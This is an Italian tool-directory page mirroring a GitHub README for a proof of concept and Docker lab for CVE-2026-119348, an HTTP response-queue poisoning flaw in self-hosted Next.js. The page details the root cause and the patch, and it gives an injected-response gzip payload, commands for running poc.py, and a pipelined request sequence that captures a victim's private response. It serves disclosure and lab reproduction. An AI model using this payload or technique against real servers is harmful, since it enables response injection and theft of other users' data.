Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-119348 — PoC differenziale standalone e dual-lab Docker per CVE-2026-119348, una vulnerabilità di avvelenamento della coda di risposte tramite framing compresso obsoleto in Next.js self-hosted. | Kitploit
Strumenti/GitHubGitHub/aheybati/cve-2026-119348
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebLab e Pratica
GitHubaheybati/cve-2026-119348

CVE-2026-119348

PoC differenziale standalone e dual-lab Docker per CVE-2026-119348, una vulnerabilità di avvelenamento della coda di risposte tramite framing compresso obsoleto in Next.js self-hosted.

Vedi Repository
21 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-119348 — avvelenamento della coda di risposte HTTP (framing compresso obsoleto) in Next.js self-hosted

GHSA: GHSA-pc58-hwjq-p385 CVSS 4.0: 6.3 (Moderato) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N Prodotto: Vercel Next.js (next), self-hosted (next start)

Questo repository contiene una riproduzione completa e deterministica (laboratorio docker + exploit standalone) della vulnerabilità di iniezione e divulgazione di risposte cross-client corretta nella release di sicurezza di Next.js di novembre 2026. Al momento della creazione di questo laboratorio non esisteva alcun PoC pubblico (verificato il 2026-11-20: ricerca di repository/codice su GitHub per gli id CVE e GHSA → 0 risultati).

Riepilogo della vulnerabilità

Il fetch di Node (undici) decomprime in modo trasparente un corpo content-encoding: gzip ma preserva gli header originali della risposta, incluso content-length: <compressed-size>. Quando un'applicazione Next.js self-hosted restituisce una Response upstream recuperata tramite fetch invariata — da un route handler dell'App Router, da una voce della fetch-cache o da un middleware del runtime Node — le versioni vulnerabili di Next inoltrano al client il framing compresso obsoleto mentre trasmettono in streaming il corpo più lungo e decompresso:

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

Node.js scrive byte del corpo oltre il Content-Length dichiarato senza alcun errore e mantiene aperta la connessione keep-alive. Qualsiasi reverse proxy HTTP/1.1 che accoda richieste pipelined su una connessione backend condivisa (la precondizione indicata nell'advisory — ad es. HAProxy http-reuse always, vari proxy basati su Node.js) demultiplexa le risposte del backend strettamente in base al framing dichiarato. I byte in eccesso vengono quindi interpretati come la risposta successiva nella coda:

  • il client accodato subito dietro l'attaccante riceve la risposta forgiata dall'attaccante (response injection), e
  • la risposta reale della vittima viene spostata di una posizione e consegnata alla richiesta successiva dell'attaccante (divulgazione cross-client).

Versioni interessate

BranchVulnerabileCorretta
16.x (Active LTS)>= 16.0.0, <= 16.4.416.4.5
15.x (Maintenance LTS)<= 15.5.2815.5.29

Causa principale (file:riga)

In vercel/next.js al tag v16.4.4:

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() aggiunge ogni header della Response del handler (viene saltato solo x-middleware-set-cookie) e poi inoltra il corpo decodificato. Gli header content-length / content-encoding / transfer-encoding inoltrati descrivono il corpo codificato che undici ha già decodificato.
  • packages/next/src/server/next-server.ts:2009-2012 — il ciclo di risposta del middleware salta solo content-encoding, copiando comunque i content-length / transfer-encoding obsoleti.
  • Per contro, la sandbox dell'Edge-runtime (packages/next/src/server/web/sandbox/sandbox.ts:23) eliminava già questi tre header — la falla era nei percorsi del Node-runtime.

Correzione (v16.4.5, commit 2842833, 15.x: 848ec29): entrambi i percorsi di inoltro ora eliminano content-length, content-encoding e transfer-encoding (FORBIDDEN_HEADERS), così Node.js incornicia correttamente il corpo decodificato con transfer-encoding: chunked.

Precondizioni (tutte necessarie, secondo l'advisory)

  1. Next.js self-hosted (next start) — non interessato sulla piattaforma Vercel.
  2. L'app restituisce invariata una Response recuperata e influenzata dall'attaccante (qualsiasi schema di inoltro/relay: return fetch(url)), direttamente o tramite la cache di fetch.
  3. Un reverse proxy HTTP/1.1 frontale che accoda richieste pipelined su una connessione backend condivisa e si fida del framing dichiarato dal backend.
  4. L'attaccante controlla la risposta upstream malevola e riesce a collocare ≥ 2 richieste sulla connessione backend condivisa (la sua + quella della vittima).

Nessuna autenticazione, nessuna interazione dell'utente.

Lab / riproduzione

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

Il payload upstream malevolo (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" con n scelto in modo che n == len(gzip(P)) (un punto fisso, n = 70 qui, decodificato = 116 B). L'applicazione emette quindi una risposta il cui Content-Length: 70 dichiarato copre solo il prefisso di A, e i 46 byte finali sono una risposta HTTP falsificata completamente formata.

Eseguirlo

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py è autonomo (Python 3, solo libreria standard). Ogni round accoda tre richieste sulla connessione backend condivisa:

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

Output previsto

Scarica lo strumento